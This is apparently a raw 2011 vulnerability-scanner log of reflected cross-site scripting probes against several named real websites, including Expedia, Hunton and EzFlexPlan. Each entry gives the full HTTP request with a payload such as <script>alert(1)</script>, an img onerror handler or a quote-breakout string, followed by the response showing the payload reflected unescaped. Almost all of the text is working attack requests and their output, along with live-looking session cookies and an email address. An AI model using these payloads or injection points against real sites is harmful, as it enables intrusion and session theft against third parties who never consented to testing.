Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:40:49 GMT; path=/

function load2058797069() {
var load = window.open('http://950b13d4-72fe-46ca-891d-8922b0525b3e.dhmiservices.com/ClickContact/popup.aspx?var1=950b13d4-
...[SNIP]...
<img src=\"http://www.dhmiservices.com/ImageHandler.ashx?img_id=3824239be";alert(1)//e2bc96337d2\" border=\"0\" alt=\"Click to Call\"/>
...[SNIP]...

GET /ImageHandler.ashx?img_id=3824e1fbf<script>alert(1)</script>cf716ce4fbd HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Referer: http://www.agentadvantage.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:40:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 118
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:40:26 GMT; path=/

Conversion failed when converting the nvarchar value '3824e1fbf<script>alert(1)</script>cf716ce4fbd' to data type int.

GET /main/do/businesses/id/13/category/For%20Businesses7db69<img%20src%3da%20onerror%3dalert(1)>eafdbdd941c HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:40:25 GMT
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:40:25 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=f83cff2dc826eeb8b7b7b1111afdbdaf3a05433071c0aed34dc444639c5eca8583c4cdbd; Path=/
Content-Length: 23235

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Businesses</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equi
...[SNIP]...
<img_src/a_onerror/alert(1)>eafdbdd941c';">
                           FOR BUSINESSES7DB69<IMG SRC=A ONERROR=ALERT(1)>EAFDBDD941C
                       </div>
...[SNIP]...

GET /main/do/businesses/id/13/category/For%20Businessesbde62"><a>f053602bd88 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:40:19 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:40:19 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 23191

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Businesses</title>
<base href="http://www.dominionenterprises.com/" />
<meta http-equi
...[SNIP]...
<div class="secondary_nav_item" style=" color:#000000; font-size:12px; font-weight:bold; padding-left:18px;" onclick="window.location.href='http://www.dominionenterprises.com/main/do/For_Businessesbde62\"><a>f053602bd88';">
...[SNIP]...

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=5d43e'%3balert(1)//b4e195f70d4&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:38:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX0135D23A61$F4$B5202000V$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$38zo$D7wYd$94$82$AB$89$FB!e02000`125; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819498`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 109469


<style type="text/css">

.intchk {width: 100%; font-size: 16px; font-weight: bold; color:#C60;}
.intchk ul{list-style-type: none; padding: 0; margin-left: 1em;}
.
...[SNIP]...
t.value=d;
   f.rfrr.value=r;
   f.frtp.value=t;
   f.fcqp.value=q
   f.submit();
   }

   function SubmitRdat(q,d,t)
   {
   ResetFltWiz();
   f.qscr.value='flxc';
   f.mnth.value='5/1/2011';
   f.ddat.value='5d43e';alert(1)//b4e195f70d4';
   f.fcqp.value=q;
   f.rdat.value=d;
   if(q)
   f.rfrr.value="-22530";
   else
   f.rfrr.value="-22531";
   f.frtp.value=t;
   f.submit();
   }
   function StartOver()
   {
   f.subm.value= '';
   f.qscr.value
...[SNIP]...

GET /pub/agent.dll?qscr=logi&ussl=1&subl=0&lmde=256&selc=383116%3balert(1)//53dd1085a0b&rfrr=-54397&zz=1304739868950 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=litn&&chms=114164&rfrr=-54397&zz=1304739862204
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`0`minfo=v.5,EX01068F4DDA$F0$24$DD$0C$3E$0C$2F$1E$C5mR$39$18$13mj$26X$82$16u$F6$EC$5F$9E$C2$5C$C2$27$34$5B$7D$FC$35$F4$0D$2C$8E$21E6L$A4RS$B1$CF9`accttype=v.2,8,1,EX01191EC1D2$F0$24$DD$0C$23$0C$37$1E$CDmZ$39$19$14m$60$26X$83$17$7C$F4$DE$5F$9E`user=v.8,0,EX01CED44CE7p$B7203000$8B$27$E96$B8$60$9D$0D$B8$60$9D$0D$B8$60$9D$0D10001000$1E810$2302!50$9F9o$98X!2$3F$BC$D6$EF$B2u!e02000`378; p1=`gacct=v.1,1,215819496`tpid=v.1,1`group=v.1,0`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`adinf=v.1,215819505|999|1|874F787A276C|||`141

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:51:25 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Content-Length: 97453

                                                                                       <DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
(i==c&&ef)Foci(ef);
   }
   g_currSel=c;
   }
   }

   function SHErr(c)
   {
   var e=getObj("choice1errorid");
   if(e)e.style.display=(1!=c)?"none":"block";
   }
   function SelOptOnLoad()
   {
   selectOne(383116;alert(1)//53dd1085a0b);

   }AddLoadFn("SelOptOnLoad()");
//-->
...[SNIP]...

GET /navigation/frameset.asp?id=lbmc&email=tmangrum%40lbmc%2Ecom&content=4e5ba"><script>alert(1)</script>b96358f5505 HTTP/1.1
Host: www.ezflexplan.com
Proxy-Connection: keep-alive
Referer: http://www.ezflexplan.com/lbmc/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCQSRSARR=JOCFNNCCLDANILAGDNPIOKAL

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 962
Content-Type: text/html
Cache-control: private

<html>

<head>
<title>EzFlexPlan</title>
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
</head>

<frameset border="0" fr
...[SNIP]...
<frame name="leftnav" src="/ContentPages/nav_4e5ba"><script>alert(1)</script>b96358f5505" marginwidth="0" marginheight="0"
scrolling="auto" frameborder="no">
...[SNIP]...

GET /navigation/frameset.asp?id=lbmc&email=d1212"><script>alert(1)</script>9703c6d326e&content=employers%2Ehtml HTTP/1.1
Host: www.ezflexplan.com
Proxy-Connection: keep-alive
Referer: http://www.ezflexplan.com/lbmc/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCQSRSARR=JOCFNNCCLDANILAGDNPIOKAL

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 866
Content-Type: text/html
Cache-control: private

<html>

<head>
<title>EzFlexPlan</title>
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
</head>

<frameset border="0" fr
...[SNIP]...
<frame name
src="/navigation/menu.asp?id=lbmc&email=d1212"><script>alert(1)</script>9703c6d326e&content=employers%2Ehtml"
marginwidth="0" marginheight="0" scrolling="no" frameborder="no"
style="text-align: Left">
...[SNIP]...

GET /navigation/frameset.asp?id=113a5"><script>alert(1)</script>cc1a308a602&email=tmangrum%40lbmc%2Ecom&content=employers%2Ehtml HTTP/1.1
Host: www.ezflexplan.com
Proxy-Connection: keep-alive
Referer: http://www.ezflexplan.com/lbmc/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCQSRSARR=JOCFNNCCLDANILAGDNPIOKAL

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 892
Content-Type: text/html
Cache-control: private

<html>

<head>
<title>EzFlexPlan</title>
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
</head>

<frameset border="0" fr
...[SNIP]...
<frame name
src="/navigation/menu.asp?id=113a5"><script>alert(1)</script>cc1a308a602&email=tmangrum@lbmc.com&content=employers%2Ehtml"
marginwidth="0" marginheight="0" scrolling="no" frameborder="no"
style="text-align: Left">
...[SNIP]...

GET /navigation/menu.asp?id=lbmc7284e"><script>alert(1)</script>0b95bf251de&email=tmangrum@lbmc.com&content=employers%2Ehtml HTTP/1.1
Host: www.ezflexplan.com
Proxy-Connection: keep-alive
Referer: http://www.ezflexplan.com/navigation/frameset.asp?id=lbmc&email=tmangrum%40lbmc%2Ecom&content=employers%2Ehtml
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCQSRSARR=JOCFNNCCLDANILAGDNPIOKAL

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 3118
Content-Type: text/html
Cache-control: private

<html>

<head>
<title>EzFlexPlan Menu</title>
<script LANGUAGE="JavaScript">

//HoverCraft MouseOver Script

if (document.images)

{

var ImageDirectory = "../
...[SNIP]...
<a href="/navigation/contact_us.asp?id=lbmc7284e"><script>alert(1)</script>0b95bf251de&email=tmangrum%40lbmc%2Ecom&content=contact_us.asp"
onclick="parent.frames[1].location='/ContentPages/nav_contact_us.html'"
target="mainbody" onmouseover="HoverCraft('Image3', Image3On.src);"
onmou
...[SNIP]...

GET /aboutus/uniGC.aspx?xpST=AboutUs&b3304<script>alert(1)</script>126556c9ed9=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/news/uniGC.aspx?xpST=PENSearch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.3.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=0; PortletId=0; SiteId=0; ZoneId=0

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:42:25 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1844; path=/
Set-Cookie: PortletId=5981402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/aboutus/uniGC.aspx?xpST=AboutUs&b3304<script>alert(1)</script>126556c9ed9=1&pdf=yes</div>
...[SNIP]...

GET /alan_kailer/?d7874<script>alert(1)</script>67ed776ea04=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.6.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1843; PortletId=5980402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:42:55 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 46467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/professionals/uniEntity.aspx?d7874<script>alert(1)</script>67ed776ea04=1&xpST=ProfessionalDetailPDF&professional=4984&pdf=yes</div>
...[SNIP]...

GET /dallas-united-states-of-america/?85671<script>alert(1)</script>da71c94b3eb=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=K
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.6.10.1304742363; DefaultCulture=en-US; Mode=1; EventingStatus=1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; NavId=1846; PortletId=5983402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:42:33 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: NavId=1853; path=/
Set-Cookie: PortletId=5990402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 42545

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/locations/uniEntity.aspx?85671<script>alert(1)</script>da71c94b3eb=1&xpST=OfficeDetail&office=6&pdf=yes</div>
...[SNIP]...

GET /disclaimer/uniGC.aspx?xpST=Disclaimer&c62ea<script>alert(1)</script>b61219ade15=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/contactus/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.9.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1843; PortletId=5980402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 02:13:00 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
